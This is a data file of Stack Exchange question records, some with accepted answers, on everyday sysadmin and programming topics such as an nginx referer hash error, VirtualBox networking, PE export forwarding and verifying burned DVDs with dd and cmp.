{  "id": "_unix.360416"  , "question": "Good Day,I am a novice to programming and i am trying to run the livehelperchat open source code(https://livehelperchat.com/) in my ubuntu-16.04 instance and I have Nginx as default server listening port 80 and also php 5.6 running.my /var/www/html/sites-enabled/default         server {        listen 80 default_server;        listen [::]:80 default_server ipv6only=on;        root /var/www/html;        index index.php index.html index.htm index.nginx-debian.html;        server_name xxxxxxxxx;        location / {            try_files $uri $uri/ =404;        }        error_page 404 /404.html;        error_page 500 502 503 504 /50x.html;        location = /50x.html {            root /var/www/html;        }        location ~ \\.php$ {            try_files $uri =404;            fastcgi_split_path_info ^(.+\\.php)(/.+)$;            fastcgi_pass unix:/var/run/php5.6-fpm.sock;            fastcgi_index index.php;            fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;    #        fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html$fastcgi_script_name;            include fastcgi_params;        }    }I can visit php info page in my web browser by visiting my server's domain name or public IP address followed by /info.phpI have my code at /var/www/html/livehelperchat/I have fallowed the below link to set up the project in nginxhttps://livehelperchat.com/nginx-configuration-tips-132a.htmlmy /var/www/html/sites-enabled/example.conf       server {        listen          80;        server_name     xxxxxxxxxxxxxxxxxxxxxxxxxxx;        root           /var/www/html/livehelperchat;        location ~* (^(?!(?:(?!(php)).)*/(albums|bin|var|lib|cache|doc|settings|pos|modules)/).*?(index\\.php|upgrade\\.php)$) {            include        /etc/nginx/livehelperchat_fastcgi_params;            fastcgi_pass   unix:/var/run/php5.6-fpm.sock;            fastcgi_index  index.php;            fastcgi_param  PATH_INFO  $query_string;           # fastcgi_param  SCRIPT_FILENAME /var/livehelperchat/$fastcgi_script_name;             fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;        }        #Allow hotlinking to normal and thumb size images        location ~* (normal_|thumb_|^/design|^/cache|^/var/storagetheme)(.*)\\.(gif|jpe?g?|png|mp3|svg|otf|woff|eot|ttf|ogg|wav|bmp|htm|swf|css|js|swf|pdf|ico)$ {            ## @todo: add expires headers...            # favicon is only stored in 1 dir, the design one; But browsers ask for it in the root            if ($http_user_agent ~* (WebReaper|wget|SiteSucker|SuperBot|Mihov Picture Downloader|TALWinHttpClient|A1 Website Download|WebCopier|Download Ninja|Microsoft URL Control|GetRight|Arachmo|MJ12bot|Gaisbot|Anonymous|Yanga|Twiceler|psbot|Irvine|Indy Library|HTTrack) ) {                return 403;            }            if ($http_referer ~* (stockingteensex.info|cbox.ws|teensos.net|dpstream.net|tagged.com|kaskus.us|gorilladatingservice.info|taringa.net|discuss.com|craigslist.org|poringa.net)) {                return 403;            }            #sendfile off;            #aio on;            directio 512;            expires max;            access_log off;             root           /var/www/html/livehelperchat;        }        # Do not allow to hotlink full size images except our self and major search engines        location ~* \\.(gif|jpe?g?|png|bmp|swf|css|js|svg|otf|eot|ttf|woff|swf|mp3|ogg|wav|pdf|ico|txt)$ {            ## @todo: add expires headers...            valid_referers none blocked server_names ~(livehelperchat.com|google.|reddit.|bing.|yahoo.);            if ($invalid_referer) {                return 403;            }            if ($http_user_agent ~* (WebReaper|wget|SiteSucker|SuperBot|Mihov Picture Downloader|TALWinHttpClient|A1 Website Download|WebCopier|Download Ninja|Microsoft URL Control|GetRight|Arachmo|MJ12bot|Gaisbot|Anonymous|Yanga|Twiceler|psbot|Irvine|Indy Library|HTTrack) ) {                return 403;            }            if ($http_referer ~* (stockingteensex.info|cbox.ws|teensos.net|dpstream.net|tagged.com|kaskus.us|gorilladatingservice.info|taringa.net|discuss.com|craigslist.org|poringa.net)) {                return 403;            }            #sendfile off;            #aio on;            directio 512;            expires max;             root           /var/www/html/livehelperchat;        }        location / {            rewrite ^(.*)$ /index.php?$1 last;        }    }Now I am getting an error on doing nginx -tnginx: [emerg] could not build referer_hash, you should increase referer_hash_bucket_size: 64nginx: configuration file /etc/nginx/nginx.conf test failedAny Help is Highly Appreciated. Thanks in Advance"  , "title": "nginx: [emerg] could not build referer_hash, you should increase referer_hash_bucket_size: 64"  , "tags": "ubuntu;php;nginx"  } 
{  "id": "_unix.74663"  , "question": "My host is Ubuntu 12.04 and guest is a Debian squeeze (LAMP server). I want to allow the host to connect the guest. and allow the guest to connect the internet. The guest should not be enabled from outside. That's the reason why I don't use network-bridge. I want to setup a static IP for the host. I followed this tutorial.So I took these steps but I can not connect via ssh from host to guest. I cannot call the server via browser. ping works however!I've created a virtual host-only network adapter (vboxnet0) with following settings:IPv4-Adress: 192.168.56.1IPv4-Netmask: 255.255.255.0ifconfig in Ubuntu host shows this:eth0      Link encap:Ethernet  Hardware Adresse XX:XX:XX:XX:XX:XX            inet Adresse:192.168.2.100  Bcast:192.168.2.255  Maske:255.255.255.0          inet6-Adresse: XXXX:XXX:XXXX:XXXX:X:X/XX Gltigkeitsbereich:Globalvboxnet0  Link encap:Ethernet  Hardware Adresse XX:XX:XX:XX:XX:XX            inet Adresse:192.168.56.1  Bcast:192.168.56.255  Maske:255.255.255.0          inet6-Adresse: XXXX:XXX:XXXX:XXXX:X:X/XX Gltigkeitsbereich:Verbindung          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metrik:1          RX packets:0 errors:0 dropped:0 overruns:0 frame:0          TX packets:10069 errors:0 dropped:0 overruns:0 carrier:0          Kollisionen:0 Sendewarteschlangenlnge:1000           RX-Bytes:0 (0.0 B)  TX-Bytes:1539501 (1.5 MB)On the Debian squeeze guest, the /etc/network/interfaces looks like this: # The host-only network interface   auto eth1   iface eth1 inet static   address 192.168.56.1   netmask 255.255.255.0   network 192.168.56.0   broadcast 192.168.56.255I've already tried to change eth1 to eth0 without a result.In VirtualBox settings the promiscuous-mode allows VMs and Host to connect.I have reached the limits of my knowledge. the output of:netstat --inet --inet6 -ln | grep :22is nothing.the output of:sudo iptables -L INPUT -nvis: Chain INPUT (policy ACCEPT 166 packets, 30786 bytes)  pkts bytes target     prot opt in     out     source               destination "  , "title": "Virtualbox NAT + Host-Only Adapter"  , "tags": "linux;debian;networking;virtualbox;ip"  } 
{  "id": "_datascience.11393"  , "question": "I'm doing some data prep on a dataset provided by a telecommunication company. There is a continuous variable that indicates how many months have passed since a customer renewed her contract. However, 20% of observations have missing values. I figured out that there are two reasons why a value might be missing:1- a customer did not renew the contract 2- a customer is still on her first contract and therefore never had the chance to renew it.What I want to do is to fill the missing values with respectively Not renewed and Not applicable, and then discretize the rest of the numerical values through a supervised algorithm (chi2, MDLP) so that the variable would turn into a categorical one.In the end, for this variable I'd have some observations categorized through simple labeling, while others through a supervised discretization algorithm.Question: is it correct to do so? If not, how should I handle the problem?Thanks!Please see my comment below for additional information."  , "title": "How to model this variable?"  , "tags": "dataset;data cleaning"  } 
{  "id": "_unix.285116"  , "question": "How can I retrieve and compare two values from the first two lines of a file?I have the following text:05-24-2016, 2:59:32,0,005-24-2016, 2:59:37,0,005-24-2016, 2:59:42,0,005-24-2016, 2:59:47,0,005-24-2016, 2:59:52,0,005-24-2016, 2:59:57,0,005-24-2016, 3:00:02,0,0and I need to compare the first row's values in a particular column (e.g. 2:59:52)and check the difference in seconds.I am using the following command but still I am not getting itawk '{ print $2 }' <filename>Only the difference between the first two rows is required (and the rest of the rows should be ignored)."  , "title": "How can I retrieve and compare two values from a file?"  , "tags": "text processing;csv"  , "accepted_answer": "This shell script will get you the difference in seconds between the timestamps in column two of the first two rows:( IFS=, read -r _ a _; IFS=, read -r _ b _; a=$(date --date $a +%s); b=$(date --date $b +%s); echo $a - $b | bc | tr -d - ) <filenameIt can be broken down like this, too, if you prefer:(    IFS=, read -r junk a junk        # Get second comma separated field    IFS=, read -r junk b junk    a=$(date --date $a +%s)          # Convert to seconds since the epoch    b=$(date --date $b +%s)    echo $a - $b | bc | tr -d -    # Compute signed difference, then discard unary minus sign) <filename"  } 
{  "id": "_webmaster.3785"  , "question": "I visit many sites but click on their ads very rarely. I suppose many people do the same thing.Do you think that publishing an article under pay per click policy, can have good earnings?"  , "title": "Is pay per click really effective?"  , "tags": "google adsense"  } 
{  "id": "_unix.346894"  , "question": "From my understanding , the electronic components in HDDs can store memory in flash memory chips. I am not interested in the disc platters. I would like to dump only this flash memory using a Linux distro to examine it.What are the locations I should be using to access this memory - eg with dd?"  , "title": "What locations should I use for dumping flash memory from electronic components in HDDs?"  , "tags": "linux kernel;memory;hard disk;dd"  } 
{  "id": "_reverseengineering.16023"  , "question": "I'm writing an analog of GetProcAddress function. When looking inside the export table I see the exports like this in advapi32.dll for example:.text:4C362BAA aEventregister  db 'EventRegister',0    ; DATA XREF: .text:off_4C35FE10o.text:4C362BB8                                         ; Exported entry 1290. EventRegister.text:4C362BB8                 public EventRegister.text:4C362BB8 EventRegister   db 'ntdll.EtwEventRegister', 0So it is like a redirect to ntdll function. How to process these entries and how to detect if they lead to another library call?Currently I just find the function ordinal by name and get its address, but for exports like this addresses are invalid (inside the address there is junk code).Do I need to just read the string ntdll.EtwEventRegister at the ordinal address, split it by dot and get dll/function names?If this is the case, how do I detect that the export address is just a string with this dll/function name? I need to somehow check if there is a valid string there, there should be other way, like some flag etc."  , "title": "Exports that redirects to other library"  , "tags": "disassembly;c;pe;executable"  , "accepted_answer": "This is called export forwarding and you can explore it here with nice explanation:The PE file formatThe next 32-bit-value 'AddressOfFunctions' is a RVA to the list of  exported items. It points to an array of 'NumberOfFunctions'  32-bit-values, each being a RVA to the exported function or variable.There are 2 quirks about this list: First, such an exported RVA may be  0, in which case it is unused. Second, if the RVA points into the  section containing the export directory, this is a forwarded export. A  forwarded export is a pointer to an export in another binary; if it is  used, the pointed-to export in the other binary is used instead. The  RVA in this case points, as mentioned, into the export directory's  section, to a zero-terminated string comprising the name of the  pointed-to DLL and the export name separated by a dot, like  otherdll.exportname, or the DLL's name and the export ordinal, like  otherdll.#19."  } 
{  "id": "_reverseengineering.14312"  , "question": "I am working on debugging tools detection.What i am looking for is a tool than can log EACH cpu instruction which is run by CPU.I am looking for Dynamic Symbolic Execution tools. The code is not executed by a kind of software cpu, so it is easy to put breakpoints, dump memory or pause process.I have found some information on pintools (intel), but i am wondering how it works for tracing binary programs. Does it work with a symbolic CPU ? Or is it a sort of debugger which interacts with kernel and real process ? If so, i think there is a way to detect pintool trace for a malware ?Thanks"  , "title": "Does pintool works with virtual/symbolic CPU"  , "tags": "pintool"  } 
{  "id": "_softwareengineering.40649"  , "question": "In development, what is the best way to manage delays? For example, you're doing a task, new requirements come in/something which further steepens the learning curve of something that must be learnt right there and then, and you need to communicate this to the PM/manager. What is the most effective way of doing this?"  , "title": "What is the most effective way of communicating potential delays in software development?"  , "tags": "project management;time management;deadlines"  } 
{  "id": "_unix.207826"  , "question": "I am trying to install nemiver debugger in my CentOS machine. I followed the instructions listed here: Walkthrough. I got stuck however because despite the successful installation of gtksourceviewmm-3.0, I cannot complete the configuration of nemiver successfully.I get this error again:$./configure --prefix=/usr --libdir=/usr/lib64configure error: No package 'gtksourceviewmm-3.0' foundAny advice?"  , "title": "Install nemiver in CentOS 7"  , "tags": "centos"  } 
{  "id": "_unix.163052"  , "question": "I'm new at scripting, and need some help. Will appreciate your answers.I got this assignment, which is to find the sum of all five-digit numbers (in the range 10000 - 99999) containing exactly two out of the following set of digits: { 4, 5, 6 }. These may repeat within the same number, and if so, they count once for each occurrence.Some examples of matching numbers are 42057, 74638, and 89515.I only have this little piece of code, don't even know if it helps.#! /bin/bashfor (( CON1=10000; CON1<=99999; CON1++ )) ;    do        ## UNKNOWN COMMANDS    done"  , "title": "How to sum match numbers"  , "tags": "bash;shell script;scripting"  } 
{  "id": "_softwareengineering.314685"  , "question": "First of all, I want to say I wasn't sure if I should post this here or in math.stackexchange but I think the question is too programming-related to belong to the latter community. Definetly not a SO question, though.A brief introduction of my program: I am developing a scheduler for sport events using CSP. Each event can have different categories, for example, in a tennis event you could have a men's draw, a women's draw and a doubles' draw. In a football tournament you could have group A, group B, group C... In the tennis event though, we can have players playing in different categories simoultaneously. My solver has that in mind.For a specific purpose, I need to track which match-up combinations have already been tried. For a match-up combination we understand a specific combination of predefined match-ups between players. For example, in the tennis tournament, a specific combination could be:Men's draw -> [Man1, Man6], [Man3, Man5], [Man2, Man4]Women's draw -> [Woman3, Woman4], [Woman6, Woman2], [Woman1, Woman5]Double's draw -> [Man6, Woman4, Woman1, Man3], [Man2, Man1, Woman2, Woman5],   [Man4, Woman3, Woman6, Man5], [Man7, Woman8, Woman7, Man8](I think haven't missed any combination, but I hope you get the idea)This combination is created from a pool of players defined for each category that composes the tournament. The following represents all players that play in each category:Men's draw -> [Man1, Man2, Man3, Man4, Man5, Man6]Women's draw -> [Woman1, Woman2, Woman3, Woman4, Woman5, Woman6]Double's draw -> [Man1, Man2, Man3, Man4, Man5, Man6, Woman1, Woman2,     Woman3, Woman4, Woman5, Woman6, Man 7, Man8, Woman7, Woman8]If the resolution process doesn't work for a specific combination, which has been generated randomly, we go ahead and try with anothe randomly generated combination. We repeat until we find a solution.Now, keeping track of the visited combinations would mean a huge cost in memory usage, because of all the information to be stored. I doubt the memory in a regular PC can handle the amount of combinations in a moderatly big tournament.I think the proper way of doing this is, instead of storing the whole combination, we can store an integer representing a unique combination.So, for example, the combination above maps to the integer 1, and so on. We could easily store set of integers. And for the next combinations we could check the identifier of the generated combination with the contents of that integet set to see if it has been already visited.However, I can't think of an algorithm to represent a combination with a unique integer. Could this be done? Is it easier to do than it sounds? Is it a good idea at all to do what I am suggesting?"  , "title": "Mapping match-up combinations into an integer"  , "tags": "design;algorithms;scheduling;rules and constraints;combinatorics"  } 
{  "id": "_webmaster.6541"  , "question": "Something is seriously wrong after I updated my site with new templates, moved to a new server and started writing on English rather than Norwegian.I know from Google Analytics, that most of my readers comes from Google.I do a quick test by googling (google.no) Oslo Fashion Fair 2009. This is the name of the article and is the title of my page. ( http://www.google.no/search?hl=no&q=Oslo+Fashion+Fair+2009&aq=f&aqi=&aql=&oq=&gs_rfai= )The page that I trying to find is this: http://www.norwegianfashion.no/news/oslo-fashion-fair-2009/This used to be one of the first pages in Google. Now you don't see my site until Page 4, and that is a link to something completely different.On page 4 in the google search, you see this:Designere - Norwegian Fashion  Norske designere Nr man tenker fashion,tenker de fleste p designere som Yves  Saint ...  Fashion Week Guide 16-22 august 2010  Oslo Fashion Fair 2009 ...  www.norwegianfashion.no/blog/designereThere are a few problems with this:The headline says Designere - Norwegian Fashion. I no longer have a page called Designere. It's now called Designers.The link points to www.norwegianfashion.no/blog/designere. But I've never had that a URL with that name. The page does not exist.When you click the link, a completely different page opens.I also noticed that I ahve lost Page Rank. My Page-RAnk add-on in Firefox will no longer rate my site, and Googles own Page Rank checker can't check my site for page ranking.So what kind of SEO have I done? I've put the <title> tag at the top, followed by the meta tags <description> and KeywordsFor new pages, I use my intro texst in the description field.I've made sure to use appropriate H1 - H3 tagsI've got relative content in headline vs intro and main body text, as well as appropriate keywords.I've added my site to GoogleI've used Google Webmaster Tools to optimize my siteI've added a sitemap.xml I don't know why I'm suddenly not being indexed by any search engines. What have I done wrong?UPDATEUsing Google Webmaster tool, I can see issues Google encountered when crawling my site. Thre are a lot of 404 Page not found errors.Example of 404 errors:http://www.norwegianfashion.no/2009/nyhetsarkivnyhetsarkiv is now called newshttp://www.norwegianfashion.no/author/marianneI have deleted marianne ase user in Wordpress. This author do not exists any morehttp://www.norwegianfashion.no/category/fashion-report/page/40/Not sure what this is. I'v enever used this permalink structure."  , "title": "Help! My articles are not indexed correctly by search engines"  , "tags": "seo;search engines;pagerank"  } 
{  "id": "_unix.311882"  , "question": "This is a question/answer post, intended for people encountering the same issue.This problem only happens when using a separate toolchain (gcc, binutils, libtool) which is not in the standard path. i.e., which gcc gives a location that is not listed bysudo env | grep -w PATH=This was necessary to compile octave-4.2 on OpenSUSE 13.2 (the standard gcc was too old).On a standard system, where there is only one toolchain, and this toolchain is in the standard path, sudo make install works just fine.Here is the error, on sudo make install:libtool: warning: relinking 'Magick++/lib/libGraphicsMagick++.la'/usr/lib64/gcc/x86_64-suse-linux/4.8/../../../../x86_64-suse-linux/bin/ld:Magick++/lib/.libs/Magick___lib_libGraphicsMagick___la-Image.o: unrecognized relocation (0x2a) in section `.text'/usr/lib64/gcc/x86_64-suse-linux/4.8/../../../../x86_64-suse-linux/bin/ld: final link failed: Bad valuecollect2: error: ld returned 1 exit statuslibtool: error: error: relink 'Magick++/lib/libGraphicsMagick++.la' with the above command before installing it"  , "title": "Why is `sudo make install` failing with unrecognized relocation?"  , "tags": "software installation;sudo;opensuse;path;toolchain"  } 
{  "id": "_unix.47527"  , "question": "Is there any possibility to limit the bandwidth of an SFTP user? My server has an upload of ~500kb/s and I don't want to 'spend' it all on one user"  , "title": "Limit bandwidth SFTP user"  , "tags": "sftp;bandwidth"  , "accepted_answer": "If you are using WHM (Web Host Manager), you can simply go to Limit Bandwidth Usage under the Account Functions section. Choose an account and then enter a limit.If not, you can use a utility called trickle - http://monkey.org/~marius/pages/?page=trickle"  } 
{  "id": "_cs.192"  , "question": "I've not gone much deep into CS. So, please forgive me if the question is not good or out of scope for this site.I've seen in many sites and books, the big-O notations like $O(n)$ which tell the time taken by an algorithm. I've read a few articles about it, but I'm still not able to understand how do you calculate it for a given algorithm."  , "title": "How to come up with the runtime of algorithms?"  , "tags": "algorithms;algorithm analysis;runtime analysis;reference question"  } 
{  "id": "_unix.162917"  , "question": "Is it possible to create your own Linux OS right onto a USB drive? I know you can just download a Linux distro onto a USB thumbdrive and plug it into a computer and run it from the USB, but I'd like to create my own OS on a USB that I can plug into any computer and use. I've looked around for an answer to my question and couldn't find any pertaining to creating an OS onto a USB specifically, so if anyone knows the answer or a link to the same question, help would be much appreciated."  , "title": "Create own Linux OS on USB Flash drive"  , "tags": "usb drive"  } 
{  "id": "_unix.53937"  , "question": "Possible Duplicate:How can I reboot into windows from inside my Linux shell? When I reboot and want to select another kernel image in grub2 or another OS like windows I have to wait until grub comes up and then select manually the image I want. Sometimes I switch multiple times between linux and windows or between two different kernel versions, then I find it pretty annoying to select this manually. What I want is to choose the image when I type in the reboot command. In pseudocode: sudo reboot to windows. Then I could get a cup of coffee and my box will automatically reboot to windows. Is it possible to to something like this?I guess that somebody would point out a VirtualBox solution instead. I know this, but I don't want it in this case."  , "title": "How can I choose which OS grub will reboot me intobefore I reboot?"  , "tags": "grub2;reboot"  } 
{  "id": "_codereview.160077"  , "question": "I need to get some ids from contacts and contactgroups to be able to collect the data. My example works but i dont know if this is the way to go.getIdArray() {let contactIds = [];let groupIds = [];let contacts = this.http.get('Contacts/').map(res => res.json());let contactGroup = this.http.get('ContactGroups/').map(res =>res.json());Observable.forkJoin([contacts, contactGroup]).subscribe(res => {  for (let b of res[0].contacts) {    console.log(b.contactId);    contactIds.push(b.contactId)  }  for (let b of res[1].contactgroups) {    console.log(b.contactgroupId)    groupIds.push(b.contactgroupId)  }  this.loadContacts(contactIds);  this.loadGroups(groupIds); });}loadContacts(contactId) {console.log(ids + JSON.stringify(contactId));Observable.forkJoin(  contactId.map(    i => this.http.get('Contacts/' + i)      .map(res => res.json())  ) ).subscribe(data => {  for (let b of data) {    console.log(b);  }});}loadGroups(groupIds){console.log(ids + JSON.stringify(groupIds));Observable.forkJoin(  groupIds.map(    i => this.http.get('ContactGroups/' + i)      .map(res => res.json())  )).subscribe(data => {  for (let b of data) {    console.log(b);  }});}"  , "title": "Making multiple http request Angular2"  , "tags": "angular.js;http;typescript"  } 
{  "id": "_unix.84469"  , "question": "I just tried burning both a Debian CD and a Debian DVD from their .iso files and I've got a weird behavior: the checksum of the CD is correct but the one of the DVD ain't.Here's what working:downloaded the two .iso files verified the checksum of the two .iso filesburn the CD debian-7.1.0-amd64-CD-1.iso to a CDverify that the CD is correct by issuing:dd if=/dev/sr0 | md5sum   (or sha-1 or sha-256)And this works fine: the checksum(s) I get from the CD by using dd and piping into md5, sha-1 or sha-256 do match the official checksums.Now what I don't get is that I did burn a DVD from the DVD .iso --and I know that the file has been correctly downloaded seen that the .iso file checksum is correct.However if I put the DVD in the drive and issue the same:dd if=/dev/sr0 | md5sum   (or sha-1 or sha-256)then I get a bogus checksum.The DVD still looks correct in that the files all seem to be there.So here's my question: can I verify that a DVD has been correctly burned by using dd and piping its output into md5sum (or sha-1 or sha-256) or is there something special that would make dd work for verifying burned CDs but not burned DVDs?*(note that I used Disk Utility on OS X to burn both the CD and the DVD)*"  , "title": "How to take sha-1, sha-256 or MD5 of CDs / DVDs?"  , "tags": "linux;devices;dd;checksum"  , "accepted_answer": "In addition to Gilles answer,If you still have the ISO image, you could use cmp instead of checksums. It would tell you at which byte the difference happens. It would also make the check faster as if there is an error early on, it would tell you right away, whereas the checksum always has to read the entire media.$ cmp /dev/cdrom /path/to/cdrom.isoIn case of error it should print something like this/dev/cdrom /path/to/cdrom.iso differ, byte 123456789, line 42In case it's correct it should print nothing, or this:cmp: EOF on /path/to/cdrom.isoWhich means there is more data on /dev/cdrom than in the ISO, most likely zero-padding.Even before starting any comparisons, you could check the size.$ blockdev --getsize64 /dev/cdrom123456999$ stat -c %s /path/to/cdrom.iso123456789If it's identical, the checksum should match also. If /dev/cdrom is larger, it should be zero padded at the end. You could check that with hexdump. Use the ISO size for the -s parameter.$ hexdump -s 15931539256 -C /dev/cdrom3b597ff38  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|*3b597fff8  00 00 00 00 00 00 00 00                           |........|hexdump is also useful for having a look at difference at any other position in a file, in case a damage was caused deliberately by something."  } 
{  "id": "_cogsci.999"  , "question": "Sometimes when I meet new people, I feel like I have seen them before. Their faces might look similar to people's faces, I have really have met before. The wiki article on Difficulties with Facial Recognition states that:Prosopagnosia is an inability to identify faces and face-like objects. This represents a failure to encode incoming visual information. Neurological studies indicate that prosopagnosia is associated with bilateral lesions of the central visual system, primarily located in the mesial occipitotemporal region. I don't have problems with identifying faces, I just group them too often. QuestionsWhy do novel faces sometimes look familiar?Is this related to a kind of face-blindness?What is the neural basis for this phenomena?Related questionsDoes the fusiform face area in patients with Prosopagnosia (face blindness) show lower activity under an fMRI?"  , "title": "Face-Blindness: Have I seen you before?"  , "tags": "terminology;perception;autism;neurology"  , "accepted_answer": "Feeling as though you have seen a face before is perfectly normal. It may reflect actual similarities between the new face and the face you have seen before. There are people who genuinely look like each other, an example being celebrity look-a-likes. It may also reflect a commonly observed cultural/ethnic effect where people of a different ethnicity look more similar (Meissner & Bringham, 2001).In terms of what happens in the brain, besides processing by the basic visual system (LGN, V1), the ventral visual pathway and areas associated with object and face recognition are involved with identifying the face. Particularly, these three core regions show space-specific responses: fusiform gyrus, lateral inferior occipital gyri , and posterior superior temporal sulcus (Haxby et al., 2000; 2001).  A model of the distributed human neural system for face perception (Image from Haxby et al., 2000.)There is ongoing debate that the fusiform area plays a broader role in that of visual expertise, rather than just face perception (Gaulthier et al., 2000; Xu, 2005). Although less is known about temporal aspects of face processing, this is starting to be the focus of newer studies such as Zheng et al., 2012. I haven't found any known explanation but if you feel that the way you perceive similarity in faces is not normal, then you may be interested in reading about false facial recognition problems following brain damage (*Rapcsak et al., 1996) or (slightly different) misidentification syndromes (Hudson & Grace, 1999; Breen et al., 2000). *Unfortunately I could not access this article to summarize it. ReferencesBreen, N., Caine, D., Coltheart, M. (2000). Models of face recognition and delusional misidentification: A critical review. Cognitive Neuropsychology. 17(1/2/3):55-71.Gauthier, I., Skudlarski, P.,  Gore, J. C.,  Anderson, A. W. (2000). Expertise for cars and birds recruits brain areas involved in face recognition. Nature Neuroscience 3:191-197. Haxby, J. V., Hoffman, E. A., Gobinni M. I. (2000). The distributed neural system for face perception. Trends in Cognitive Science, 4(6):223-233.Haxby, J. V., Hoffman, E. A., Gobinni M. I. (2001). Human neural systems for face recognition and social communication. Biological Psychology, 51(1):59-67.Hudson, A. J., Grace, G. M. (1999). Misidentification syndromes related to face specific area in the fusiform gyrus. J Neurol Neurosurg Psychiatry, 69(5):645-648.Meissner, C. A.; Brigham, J. C. (2001). Thirty years of investigating the own-race bias in memory for faces: A meta-analytic review. Psychology, Public Policy, and Law, 7(1):3-35.Rapcsak S. Z., Polster M. R., Glisky M. L., Comer J. F. False recognition of unfamiliar faces following right hemisphere damage: neuropsychological and anatomical observations. Cortex; a Journal Devoted to the Study of the Nervous System and Behavior. 32(4):593-611.Xu, Yaoda. (2005). Revisiting the role of the fusiform face area in visual expertise. Cereb Cortex. 15(8):1234-1242.Zheng, X., . Mondloch, C. J.,  Segalowitz, S. J. (2012). The timing of individual face recognition in the brain. Neuropsychologia, 50(7):1451-1461."  } 
{  "id": "_datascience.17469"  , "question": "Where exactly bigdata platforms fit in to a data science/ machine learning projects ?Say I have a large dataset for a binary classification problem - cats and dogs.Now I need to create a model for real time classificationHere is my question.1 Since dataset is huge I can make use any distributed platform for faster computation and model creation right?2 Once the model is ready, then there is no need of these distributed platform right ? or are they needed for feature extractions ?"  , "title": "Deploying models on bigdata platforms like Hadoop and Spark"  , "tags": "machine learning;data mining;bigdata;apache spark;apache hadoop"  } 
{  "id": "_codereview.153452"  , "question": "I'm currently building an interactive web application that allows users to create flow charts using Angular2, typescript and PixiJS (the latter is a 2D rendering library).The core part of my application is a PixiJS object housed within an Angular2 component. This PixiJS object contains other graphical UI elements which the user can interact with. Some examples of these graphical UI elements are FlowChartSquareInstance, FlowChartCircleInstance, and FlowChartConnectorInstance.I need to implement a context menu feature in my app. When right clicking on graphical UI elements like the above, a context menu should appear. However, each graphical UI instance will have a different set of options in its context menu. Hence, the context menu needs to be created dynamically, at runtime.I found the simplest way to do this is attach a right-click listener to each graphical UI element, which will call a function to create the context menu. The context menu will be created using elements from the PixiJS rendering library.I defined the following interface:/*ContextMenuDisplayer.tsAll UI components that need to display a context menu on right click shouldimplement this interface*/export interface ContextMenuDisplayer {    /*    Use to create the context menu object. Needs to use the string array    returned by getContextMenuOptions    */    createContextMenu(contextMenuOptions : string[]) : void;    /*    Return a string array of context menu options    */    getContextMenuOptions() : string[];}The idea is that all graphical UI elements will implement this interface, and their right-click listener function will call the methods defined in this interface.Consider this example:class FlowChartSquareInstance implements ContextMenuDisplayer{    constructor(){        //The listener function        this.on(right click, this.onRightClick, this);    }    onRightClick(){        this.createContextMenu(this.getContextMenuOptions);    }    createContextMenu(contextMenuOptions : string[]){        //create the context menu using PixiJS    }    getContextMenuOptions() : string[] {        return [delete, copy, duplicate];    }    //Other methods}Is this a good way of adding a context menu feature? Or can it be improved upon? The idea of the interface was to define a way for future developers to add context menu's to any new graphical UI elements they might create. Not all graphical UI elements need to have context menus in my application.I've decided to post here even though there isn't much code to review to nip this in the bud if it's not a good way of doing it."  , "title": "Using Interface for context menu for a web application"  , "tags": "javascript;object oriented;design patterns;typescript"  } 
{  "id": "_unix.372990"  , "question": "I have an automatic process setup. It's still pretty new and obviouslyin need of better error handling because now I find myself in a bad state.I run snapshot-create-as across all my vms, then do zfs replication tothe target backup system, then blockcommit everything.virsh snapshot-create-as --domain $vm snap --diskspec$DISK,file=$VMPREFIX/$vm-snap.qcow2 --disk-only --atomic --no-metadata--quiesce...virsh blockcommit $vm $DISK --active --pivotThis has been working fine, though something went wrong on the 20th.something happened to make the blockcommit fail, but the -snap file got deleted (note to self - check return code from blockcommit command!)So now I'm in a bad state. The domain is still running. but it's running off the -snap.qcow2 that is in the xml but deleted. I googled around for how to recover a blockcommit from a deleted snapshot, but didn't find anything. (pointers welcome)# virsh domblklist serv1r2 Target     Source------------------------------------------------vda        /var/lib/libvirt/images/serv1r2-snap.qcow2fda        -hdb        /var/lib/libvirt/images/virtio-win-0.1.126.isoI can see the size increasing on the deleted file in lsof:qemu-kvm  48994 49033    qemu   97u      REG               0,44    1855913984       1078 /var/lib/libvirt/images/serv1r2-snap.qcow2 (deleted)...qemu-kvm  48994 49033    qemu   97u      REG               0,44    1856110592       1078 /var/lib/libvirt/images/serv1r2-snap.qcow2 (deleted)I can't see a way to blockcommit this, though maybe there's some clever option to use that I'm not aware of.so, do I need to rollback the zfs snapshot image or is there some otherway to recover from this snafu?Thanks."  , "title": "orphaned libvirt snapshot file removed by lack of error checking, any way to fix?"  , "tags": "kvm;snapshot;libvirt"  } 
{  "id": "_unix.175769"  , "question": "I recently installed Pear OS 8 and have ran into many problems since. Essentially, I can't download or install anything. At first I was getting a failed to download repository information error. I tried sudo apt-get clean and sudo apt-get update commands neither of which worked. After doing more research and trying other commands (I don't even remember what all I tried now), the install button in software center disappeared. I researched this and found out that my download from server was server from france. I tried to change this both to United states and main server to fix the problem (also running sudo apt-get update command after both of those changes) and nothing is working still. "  , "title": "Can't install or download anything in pear os 8"  , "tags": "ubuntu;software installation;apt;sudo"  } 
{  "id": "_webapps.90693"  , "question": "I want to embed a Google Form in my website, but make it unstyled, etc., so it looks neat and can be placed in widget form."  , "title": "How can I make a minimal, unstyled HTML form which works with Google Forms?"  , "tags": "google forms;html;embed"  } 
{  "id": "_unix.58476"  , "question": "Is it a security issue not using the tls-remote option in OpenVPN? That is not verifying the server's common name. Is a MITM attack possible? Could this be an issue, especially with services like dyndns.org?"  , "title": "What is the security impact of not using tls-remote with OpenVPN"  , "tags": "security;vpn;openvpn"  } 
